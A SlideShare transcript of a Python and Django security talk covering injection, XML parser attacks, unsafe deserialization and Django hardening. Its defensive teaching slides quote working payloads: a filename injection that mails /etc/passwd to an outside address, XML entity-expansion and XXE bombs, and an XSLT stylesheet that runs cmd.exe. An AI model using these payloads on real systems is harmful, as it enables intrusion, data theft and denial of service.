SlideShare a Scribd company logo
Web application security and
Python security best practices
Michał Wodyński · Python Developer
Agenda
Python security issues:
Input injection
Parsing XML
Assert Statements
Timing attacks
Import 3rd
party packages
Agenda
Python security issues:
Temporary files
Using yaml.load
Pickles
Not patching system runtime
Agenda
Django:
Security features
Best practices
Comparing OWASP TOP 10
Made with by PGS Software · 6
Few words on start
●
30 bugs per 100 lines - ticket machine printed ticket for
638 zł for 2 zl, Mars (Metric units)
●
Hacker - was good programmer, now it’s student from
HighSchool
●
Attackers: competition, own employee, casual internet
surfer, government
●
Aim of attacker: hack website, stealing information,
injecting malicious software, man, algorithm, metadata
in the word documents
●
Tools - www.shodan.io and many other...
Made with by PGS Software · 7
Input injection
import subprocess
def compress_file(request, filename):
command = 'tar cfvz output_file.rar.gz
"{source}"'.format(source=filename)
subprocess.call(command, shell=True)
"|| cat /etc/passwd | mail them@domain.com
Piece of bad code
Code that compresses with given file
name
Exploit
Command in file name
Made with by PGS Software · 8
Input injection - solution
●
Never trust user and unknown source
●
use shelx library for shell operations
●
Use shelx.quote to add quotes and prevent execution
Made with by PGS Software · 9
Parsing XML – issues
●
Bypass firewall and gain access to the restricted
resources
●
Abuse a service to attack, spy on, DoS servers or third
party services
●
Exhaust additional resources on the machine (e.g.
service that doesn’t responds or responds with big file)
●
Gain knowledge, when, how often and from which IP
address document is accessed
●
Send email from inside network if URL handler supports
smpt URIs
Made with by PGS Software · 10
Parsing XML – Billion laughs/exponential
entity expansion
<!DOCTYPE xmlbomb [
<!ENTITY a "1234567890" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<bomb>&d;</bomb>
Exploit
XML entity recursion
Made with by PGS Software · 11
Parsing XML – quadratic blow entity
expansion
<!DOCTYPE bomb [
<!ENTITY a "xxxxxxx... a couple of ten thousand
chars">
]>
<bomb>&a;&a;&a;... repeat</bomb>
Exploit
Many Big entity repeated
Made with by PGS Software · 12
Parsing XML – external entity expansion
(remote/local)
<!DOCTYPE external [
<!ENTITY ee SYSTEM
"http://www.python.org/some.xml">
]>
<root>&ee;</root>
<!DOCTYPE external [
<!ENTITY ee SYSTEM "file:///PATH/TO/simple.xml">
]>
<root>&ee;</root>
Exploit
Load entity from storage or server
Made with by PGS Software · 13
Parsing XML – DTD retrival
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html>
<head/>
<body>text</body>
</html>
Exploit
Reference to document definition
Made with by PGS Software · 14
Parsing XML – issues
●
XML parsers may use O(n^2) algorithm to handle
attributes and namespaces.
●
Parsers which uses hash tables for storing attributes
and namespaces – implementation may be vulnerable
to hash collision attacks and performance can go to
O(n^2) again.
Made with by PGS Software · 15
Parsing XML – decompression bomb
●
XML libraries can parse compressed XML stream like
HTTP streams or LMZA-ed files.
●
Gzip can compress 1GiB zeros to 1MB and LZMA can be
even better
●
Only Xmlrpclib can decompress steams so it is
vulnerable
●
Lxml can load and process compressed data. It can
handle very large blobs of compressed data without
using too much memory. It is not protected from
decompression bombs.
●
SAX library is the most safe
Made with by PGS Software · 16
Parsing XML – processing instruction
<?xml-stylesheet type="text/xsl" href="style.xsl"?> Exploit
Processing instruction
Made with by PGS Software · 17
Parsing XML – Xpath injection
●
Work the same as SQL injections
●
Xpath queries must be quoted and validated (especially
when taken from user)
●
Python’s standard library doesn’t have Xpath queries
and have proper quoting. Use xpath() method correctly:
tree.xpath("/tag[@id='%s']" % value) – BAD
tree.xpath("/tag[@id=$tagid]", tagid=name) - GOOD
Made with by PGS Software · 18
Parsing XML - XInclude
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="filename.txt" parse="text" />
</root>
We should not do that when we use files from untrusted
sources.
Libxml2 supports Xinclude but do not have option to
limit access only to allowed directories
Made with by PGS Software · 19
Parsing XML – XML Schema location
<ead xmlns="urn:isbn:1-931666-22-9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance"
xsi:schemaLocation="urn:isbn:1-931666-22-9 http://
www.loc.gov/ead/ead.xsd">
</ead>
Exploit
XML schema location
Made with by PGS Software · 20
Parsing XML – XSL
XSLT is a language for transforming XML documents into
other XML or HTML documents
XSLT processors can interact with external resources like:
read/write to file system, access to JRE objects, scripting
with Jython.
Made with by PGS Software · 21
Parsing XML – XSL Transformation
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/
Transform"
xmlns:rt="http://xml.apache.org/xalan/java/
java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/
java.lang.Object"
exclude-result-prefixes= "rt ob">
<xsl:template match="/">
<xsl:variable name="runtimeObject"
select="rt:getRuntime()"/>
<xsl:variable name="command"
select="rt:exec($runtimeObject, &apos;c:
Windowssystem32cmd.exe&apos;)"/>
<xsl:variable name="commandAsString"
select="ob:toString($command)"/>
<xsl:value-of select="$commandAsString"/>
</xsl:template>
</xsl:stylesheet>
Exploit
XSL which runs cmd
Made with by PGS Software · 22
Parsing XML - Summary
1.Lxml is protected against billion laughs attacks. No
network lookups.
2.libxml2 and lxml are not directly vulnerable to gzip
decompression bombs. No explicit protection to them.
3.xml.etree doesn’t expand entities. Raises a ParserError
when an entity appears.
4.minidom doesn’t expand entities and simply returns
the notification that cannot expand Entity.
Made with by PGS Software · 23
Parsing XML - Summary
5.genshi.input from genshi 0.6 doesn’t support entity
expansion. It raises a ParserError when an entity
appears.
6.Library has XInclude support – remember to set a limit
7.Features but they may be exploitable holes
Made with by PGS Software · 24
Parsing XML
kind sax etree minidom pulldom xmlprc lxml genshi
billion
laughs
Vulnerable Vulnerable Vulnerable Vulnerable Vulnerable Safe (1) Safe (5)
quadratic
blowup
Vulnerable Vulnerable Vulnerable Vulnerable Vulnerable Vulnerable Safe (5)
external
entity
expansion
(remote)
Vulnerable Safe(3) Safe(4) Vulnerable Safe Safe (1) Safe (5)
external
entity
expansion
(local)
Vulnerable Safe(3) Safe(4) Vulnerable Safe Vulnerable Safe (5)
DTD
retrieval
Vulnerable Safe Safe Vulnerable Safe Safe (1) Safe
Made with by PGS Software · 25
Parsing XML
kind sax etree minidom pulldom xmlprc lxml genshi
gzip bomb Safe Safe Safe Safe Vulnerable Partly (2) Safe
Xpath
support(7)
Safe Safe Safe Safe Safe Vulnerable Safe
xsl(t)
support (7)
Safe Safe Safe Safe Safe Vulnerable Safe
Xinclude
support (7)
Safe Vulnerable
(6)
Safe Safe Safe Vulnerable
(6)
Vulnerable
Made with by PGS Software · 26
Parsing XML – what we can do?
Use defusedxml library which is secure:
>>> from xml.etree.ElementTree import parse – BAD !
>>> et = parse(xmlfile)
>>> from defusedxml.ElementTree import parse – GOOD !
>>> et = parse(xmlfile)
All functions and parsers classes accepts additional
arguments and returns original objects
Made with by PGS Software · 27
Assert statements
●
Never use assert statements to protect piece of code
from execution
●
Python runs with __debug__ as True. In production it
is common to run application with optimizations
and this option causes skipping assert
statements!
●
Use asserts only in tests
Made with by PGS Software · 28
Timing attacks
●
Attack is aimed to algorithm which is comparing
provided values.
●
E.g. in command line application which prompts for the
password
●
We can prevent this attack by using:
secrets.compare_digest (Python 3.5)
Made with by PGS Software · 29
Installing 3rd
party packages
●
It is not recommended to use 3rd
party packages in
global site-packages
●
Sometimes on PyPi for popular packages appears
malicious package with very similar name but with
different code.
●
It is important to remember about dependencies of
dependencies. They can contain vulnerabilities which
can change behavior of Python via import system
Made with by PGS Software · 30
Temporary files
●
Generally, creating temporary files can be
accomplished by mktemp() function
●
It is not secure because different file system can create
file with this name. In the end application can be fed
with different configuration data.
●
Use tempfile module and use mkstemp() function which
can handle those case.
Made with by PGS Software · 31
Using yaml.load
●
Yaml documentation underline that is not safe to call
yaml.load on any data received from untrusted source.
-
https://www.talosintelligence.com/reports/TALOS-2017-0
305
●
Insteaduse yaml.safe_load
Made with by PGS Software · 32
Pickles
●
Pickle.load not good the same as yaml.load.
●
Never load pickle from untrusted source
●
Better to use different serialization pattern like JSON
Made with by PGS Software · 33
Not patching system Python runtime
●
Python interpreter is written in C
●
Common security issues in C for Python are related to
the allocation of memory, so buffer overflows can
appear. -
https://www.cvedetails.com/cve/CVE-2017-1000158/
●
Install the latest version of Python for production
environment and always patch it
Made with by PGS Software · 34
Not patching dependencies
●
It is very important dependencies and its dependencies
- which can be hard because of dependency hell but it is
not excuse!
●
You can use service like PyUp.io to check for updates
●
It is wise to validate all your library versions -
https://www.inspec.io/docs/reference/resources/pip/
●
All above issues can be found by bandit -
https://github.com/PyCQA/bandit
Made with by PGS Software · 35
Django security features
●
XSS Protection – jsfuck.com, white list , black list
●
CSRF Protection (is checking referer header, generates
token for form)
●
Injection Protection
●
Clickjacking Protection – SAME ORIGIN, DENY, Support :
IE 8+, FF 3.6.9+, Opera 10.5+, Safari 4+, Chrome 4.1+
●
SSL/HTTPS – SESSION_COOKIE_SECURE=TRUE,
CSRF_COOKIE_SECURE=True, django-sslify, django-
secure
Made with by PGS Software · 36
Django security features
●
Password Storage, bcrypt!
●
Data Validation
●
O’Auth2 with django-rest-framework -
https://django-oauth-toolkit.readthedocs.io/en/latest/res
t-framework/getting_started.html
Made with by PGS Software · 37
Django practices
●
Always deploy you Django project behind https.
●
Change default url to admin
●
For the admin url use django-admin-honeypot -
https://github.com/dmpayton/django-admin-honeypot
●
Require stronger password –
https://github.com/Pawamoy/django-zxcvbn-password
●
Use at least two factor authentication. Token is most
recommended.
Made with by PGS Software · 38
Django practices
●
Use the latest version of Django
●
Never run debug in production – transparent errors,
cached sql queries
●
Check for errors: python manage.py check –deploy
●
You can also check security of your website on
https://www.ponycheckup.com/
Made with by PGS Software · 39
Django practices
●
Distinguish environments
●
Deploy admin inside VPN
●
Remove unnecessary components from the main site
●
Define allowed hosts
●
Protect your secret key
Made with by PGS Software · 40
Other best practices
●
Harden your servers
●
Never store credit card data
●
Server monitoring
●
Vulnerability reporting page
●
KEEP THINGS UP TO DATE
Made with by PGS Software · 41
Other best practices
●
Secured not only on the client's side
●
Buffer overflow is not in java, but can transfer data to
the program in a different language where problem can
appear.
Made with by PGS Software · 42
OWASP TOP 10
●
Injection
●
Broken Authentication
●
Sensitive Data Exposure
●
XML External Entities
●
Broken Access Control
●
Security Misconfiguration
●
Cross-Site Scripting
●
Insecure Deserialization
●
Using components with known Vulnerabilitiees
●
Insufficient Logging&Monitoring
Made with by PGS Software · 43
Interesting topics
●
https://www.vulnhub.com/entry/lab26-11,190/#downloa
d
- website with images where you can exploit backdoors
●
https://django-oauth-toolkit.readthedocs.io/en/latest/res
t-framework/getting_started.html
- O’Auth with django-rest-framework
●
https://github.com/Phype/telnet-iot-honeypot - telnet
honeypot
Made with by PGS Software · 44
Interesting topics
●
https://medium.com/@mccode/processes-in-containers-
should-not-run-as-root-2feae3f0df3b
- docker containers – issues related to docker images
●
https://github.com/TheSecondSun/Safari-Crash - How to
crash safari with HTML exploits (DoS)
●
https://stackoverflow.com/questions/9580575/how-to-m
anually-set-referer-header-in-javascript
- How to change referer header with JS
Sources
1. https://hackernoon.com/10-common-security-gotchas-i
n-python-and-how-to-avoid-them-e19fbe265e03?gi=5
b7cd0a0fe8a
2. https://docs.python.org/3/library/xml.html#xml-vulner
abilities
3. https://pypi.org/project/defusedxml/
4. https://opensource.com/article/18/1/10-tips-making-dj
ango-admin-more-secure
5. https://www.slideshare.net/spinlai/django-workshop-se
curitybestpractices
6. https://www.owasp.org/index.php/Top_10-2017_Top_10
Any questions?
Michał Wodyński
Thank you!
Michał Wodyński
Go visit pgs-soft.com
Web application security and Python security best practices

More Related Content

What's hot

Mem forensic
Mem forensicMem forensic
Mem forensic
Chong-Kuan Chen
 
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
CODE BLUE
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Positive Hack Days
 
Automated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security IntelligenceAutomated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security Intelligence
Jason Choi
 
Di shen pacsec_final
Di shen pacsec_finalDi shen pacsec_final
Di shen pacsec_final
PacSecJP
 
Can We Prevent Use-after-free Attacks?
Can We Prevent Use-after-free Attacks?Can We Prevent Use-after-free Attacks?
Can We Prevent Use-after-free Attacks?
inaz2
 
Advanced Evasion Techniques by Win32/Gapz
Advanced Evasion Techniques by Win32/GapzAdvanced Evasion Techniques by Win32/Gapz
Advanced Evasion Techniques by Win32/Gapz
Alex Matrosov
 
Industroyer: biggest threat to industrial control systems since Stuxnet by An...
Industroyer: biggest threat to industrial control systems since Stuxnet by An...Industroyer: biggest threat to industrial control systems since Stuxnet by An...
Industroyer: biggest threat to industrial control systems since Stuxnet by An...
CODE BLUE
 
Modern Evasion Techniques
Modern Evasion TechniquesModern Evasion Techniques
Modern Evasion Techniques
Jason Lang
 
"A rootkits writer’s guide to defense" - Michal Purzynski
"A rootkits writer’s guide to defense" - Michal Purzynski"A rootkits writer’s guide to defense" - Michal Purzynski
"A rootkits writer’s guide to defense" - Michal Purzynski
PROIDEA
 
Meetup mini conférences AFUP Paris Deezer Janvier 2017
Meetup mini conférences AFUP Paris Deezer Janvier 2017Meetup mini conférences AFUP Paris Deezer Janvier 2017
Meetup mini conférences AFUP Paris Deezer Janvier 2017
Alexis Von Glasow
 
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ..."Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
PROIDEA
 
Статический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDLСтатический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDL
Positive Hack Days
 
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
PROIDEA
 
[CB16] DeathNote of Microsoft Windows Kernel by Peter Hlavaty & Jin Long
[CB16] DeathNote of Microsoft Windows Kernel by Peter Hlavaty & Jin Long[CB16] DeathNote of Microsoft Windows Kernel by Peter Hlavaty & Jin Long
[CB16] DeathNote of Microsoft Windows Kernel by Peter Hlavaty & Jin Long
CODE BLUE
 
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
CODE BLUE
 
Malware analysis - What to learn from your invaders
Malware analysis - What to learn from your invadersMalware analysis - What to learn from your invaders
Malware analysis - What to learn from your invaders
Tazdrumm3r
 
Csw2016 gawlik bypassing_differentdefenseschemes
Csw2016 gawlik bypassing_differentdefenseschemesCsw2016 gawlik bypassing_differentdefenseschemes
Csw2016 gawlik bypassing_differentdefenseschemes
CanSecWest
 
Zn task - defcon russia 20
Zn task  - defcon russia 20Zn task  - defcon russia 20
Zn task - defcon russia 20
DefconRussia
 
Detection index learning based on cyber threat intelligence and its applicati...
Detection index learning based on cyber threat intelligence and its applicati...Detection index learning based on cyber threat intelligence and its applicati...
Detection index learning based on cyber threat intelligence and its applicati...
CODE BLUE
 

What's hot (20)

Mem forensic
Mem forensicMem forensic
Mem forensic
 
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
 
Automated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security IntelligenceAutomated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security Intelligence
 
Di shen pacsec_final
Di shen pacsec_finalDi shen pacsec_final
Di shen pacsec_final
 
Can We Prevent Use-after-free Attacks?
Can We Prevent Use-after-free Attacks?Can We Prevent Use-after-free Attacks?
Can We Prevent Use-after-free Attacks?
 
Advanced Evasion Techniques by Win32/Gapz
Advanced Evasion Techniques by Win32/GapzAdvanced Evasion Techniques by Win32/Gapz
Advanced Evasion Techniques by Win32/Gapz
 
Industroyer: biggest threat to industrial control systems since Stuxnet by An...
Industroyer: biggest threat to industrial control systems since Stuxnet by An...Industroyer: biggest threat to industrial control systems since Stuxnet by An...
Industroyer: biggest threat to industrial control systems since Stuxnet by An...
 
Modern Evasion Techniques
Modern Evasion TechniquesModern Evasion Techniques
Modern Evasion Techniques
 
"A rootkits writer’s guide to defense" - Michal Purzynski
"A rootkits writer’s guide to defense" - Michal Purzynski"A rootkits writer’s guide to defense" - Michal Purzynski
"A rootkits writer’s guide to defense" - Michal Purzynski
 
Meetup mini conférences AFUP Paris Deezer Janvier 2017
Meetup mini conférences AFUP Paris Deezer Janvier 2017Meetup mini conférences AFUP Paris Deezer Janvier 2017
Meetup mini conférences AFUP Paris Deezer Janvier 2017
 
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ..."Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
 
Статический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDLСтатический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDL
 
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
 
[CB16] DeathNote of Microsoft Windows Kernel by Peter Hlavaty & Jin Long
[CB16] DeathNote of Microsoft Windows Kernel by Peter Hlavaty & Jin Long[CB16] DeathNote of Microsoft Windows Kernel by Peter Hlavaty & Jin Long
[CB16] DeathNote of Microsoft Windows Kernel by Peter Hlavaty & Jin Long
 
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
 
Malware analysis - What to learn from your invaders
Malware analysis - What to learn from your invadersMalware analysis - What to learn from your invaders
Malware analysis - What to learn from your invaders
 
Csw2016 gawlik bypassing_differentdefenseschemes
Csw2016 gawlik bypassing_differentdefenseschemesCsw2016 gawlik bypassing_differentdefenseschemes
Csw2016 gawlik bypassing_differentdefenseschemes
 
Zn task - defcon russia 20
Zn task  - defcon russia 20Zn task  - defcon russia 20
Zn task - defcon russia 20
 
Detection index learning based on cyber threat intelligence and its applicati...
Detection index learning based on cyber threat intelligence and its applicati...Detection index learning based on cyber threat intelligence and its applicati...
Detection index learning based on cyber threat intelligence and its applicati...
 

Similar to Web application security and Python security best practices

Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find Them
Ross Wolf
 
Andriy Shalaenko - GO security tips
Andriy Shalaenko - GO security tipsAndriy Shalaenko - GO security tips
Andriy Shalaenko - GO security tips
OWASP Kyiv
 
How Secure Are Docker Containers?
How Secure Are Docker Containers?How Secure Are Docker Containers?
How Secure Are Docker Containers?
Ben Hall
 
Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)
Patricia Aas
 
Stress test data pipeline
Stress test data pipelineStress test data pipeline
Stress test data pipeline
Marina Grechuhin
 
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf
 
Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)
Patricia Aas
 
Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?
Aleksandr Yampolskiy
 
PyCon AU 2012 - Debugging Live Python Web Applications
PyCon AU 2012 - Debugging Live Python Web ApplicationsPyCon AU 2012 - Debugging Live Python Web Applications
PyCon AU 2012 - Debugging Live Python Web Applications
Graham Dumpleton
 
R sharing 101
R sharing 101R sharing 101
R sharing 101
Omnia Safaan
 
Us 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimesUs 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimes
Ravishankar Somasundaram
 
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
 DDD17 - Web Applications Automated Security Testing in a Continuous Delivery... DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
Fedir RYKHTIK
 
OWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA TestersOWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA Testers
Javan Rasokat
 
Tuning systemd for embedded
Tuning systemd for embeddedTuning systemd for embedded
Tuning systemd for embedded
Alison Chaiken
 
Unmasking Careto through Memory Forensics (video in description)
Unmasking Careto through Memory Forensics (video in description)Unmasking Careto through Memory Forensics (video in description)
Unmasking Careto through Memory Forensics (video in description)
Andrew Case
 
Kommons
KommonsKommons
Being HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on PurposeBeing HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on Purpose
Aman Kohli
 
Honeynet Project Workshop 2014 - Thug: a low-interaction honeyclient
Honeynet Project Workshop 2014 - Thug: a low-interaction honeyclientHoneynet Project Workshop 2014 - Thug: a low-interaction honeyclient
Honeynet Project Workshop 2014 - Thug: a low-interaction honeyclient
Angelo Dell'Aera
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
Denis Kolegov
 
Automotive Grade Linux and systemd
Automotive Grade Linux and systemdAutomotive Grade Linux and systemd
Automotive Grade Linux and systemd
Alison Chaiken
 

Similar to Web application security and Python security best practices (20)

Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find Them
 
Andriy Shalaenko - GO security tips
Andriy Shalaenko - GO security tipsAndriy Shalaenko - GO security tips
Andriy Shalaenko - GO security tips
 
How Secure Are Docker Containers?
How Secure Are Docker Containers?How Secure Are Docker Containers?
How Secure Are Docker Containers?
 
Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)Chromium Sandbox on Linux (BlackHoodie 2018)
Chromium Sandbox on Linux (BlackHoodie 2018)
 
Stress test data pipeline
Stress test data pipelineStress test data pipeline
Stress test data pipeline
 
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
 
Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)Chromium Sandbox on Linux (NDC Security 2019)
Chromium Sandbox on Linux (NDC Security 2019)
 
Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?Much ado about randomness. What is really a random number?
Much ado about randomness. What is really a random number?
 
PyCon AU 2012 - Debugging Live Python Web Applications
PyCon AU 2012 - Debugging Live Python Web ApplicationsPyCon AU 2012 - Debugging Live Python Web Applications
PyCon AU 2012 - Debugging Live Python Web Applications
 
R sharing 101
R sharing 101R sharing 101
R sharing 101
 
Us 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimesUs 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimes
 
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
 DDD17 - Web Applications Automated Security Testing in a Continuous Delivery... DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
 
OWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA TestersOWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA Testers
 
Tuning systemd for embedded
Tuning systemd for embeddedTuning systemd for embedded
Tuning systemd for embedded
 
Unmasking Careto through Memory Forensics (video in description)
Unmasking Careto through Memory Forensics (video in description)Unmasking Careto through Memory Forensics (video in description)
Unmasking Careto through Memory Forensics (video in description)
 
Kommons
KommonsKommons
Kommons
 
Being HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on PurposeBeing HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on Purpose
 
Honeynet Project Workshop 2014 - Thug: a low-interaction honeyclient
Honeynet Project Workshop 2014 - Thug: a low-interaction honeyclientHoneynet Project Workshop 2014 - Thug: a low-interaction honeyclient
Honeynet Project Workshop 2014 - Thug: a low-interaction honeyclient
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
Automotive Grade Linux and systemd
Automotive Grade Linux and systemdAutomotive Grade Linux and systemd
Automotive Grade Linux and systemd
 

Recently uploaded

How to use Firebase Data Connect For Flutter
How to use Firebase Data Connect For FlutterHow to use Firebase Data Connect For Flutter
How to use Firebase Data Connect For Flutter
Daiki Mogmet Ito
 
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAUHCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
HCL Notes und Domino Lizenzkostenreduzierung in der Welt von DLAU
panagenda
 
Serial Arm Control in Real Time Presentation
Serial Arm Control in Real Time PresentationSerial Arm Control in Real Time Presentation
Serial Arm Control in Real Time Presentation
tolgahangng
 
20240607 QFM018 Elixir Reading List May 2024
20240607 QFM018 Elixir Reading List May 202420240607 QFM018 Elixir Reading List May 2024
20240607 QFM018 Elixir Reading List May 2024
Matthew Sinclair
 
Communications Mining Series - Zero to Hero - Session 1
Communications Mining Series - Zero to Hero - Session 1Communications Mining Series - Zero to Hero - Session 1
Communications Mining Series - Zero to Hero - Session 1
DianaGray10
 
Artificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopmentArtificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopment
Octavian Nadolu
 
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
GraphSummit Singapore | The Future of Agility: Supercharging Digital Transfor...
Neo4j
 
UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6UiPath Test Automation using UiPath Test Suite series, part 6
UiPath Test Automation using UiPath Test Suite series, part 6
DianaGray10
 
GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
kumardaparthi1024
 
“I’m still / I’m still / Chaining from the Block”
“I’m still / I’m still / Chaining from the Block”“I’m still / I’m still / Chaining from the Block”
“I’m still / I’m still / Chaining from the Block”
Claudio Di Ciccio
 
Uni Systems Copilot event_05062024_C.Vlachos.pdf
Uni Systems Copilot event_05062024_C.Vlachos.pdfUni Systems Copilot event_05062024_C.Vlachos.pdf
Uni Systems Copilot event_05062024_C.Vlachos.pdf
Uni Systems S.M.S.A.
 
20240609 QFM020 Irresponsible AI Reading List May 2024
20240609 QFM020 Irresponsible AI Reading List May 202420240609 QFM020 Irresponsible AI Reading List May 2024
20240609 QFM020 Irresponsible AI Reading List May 2024
Matthew Sinclair
 
みなさんこんにちはこれ何文字まで入るの?40文字以下不可とか本当に意味わからないけどこれ限界文字数書いてないからマジでやばい文字数いけるんじゃないの?えこ...
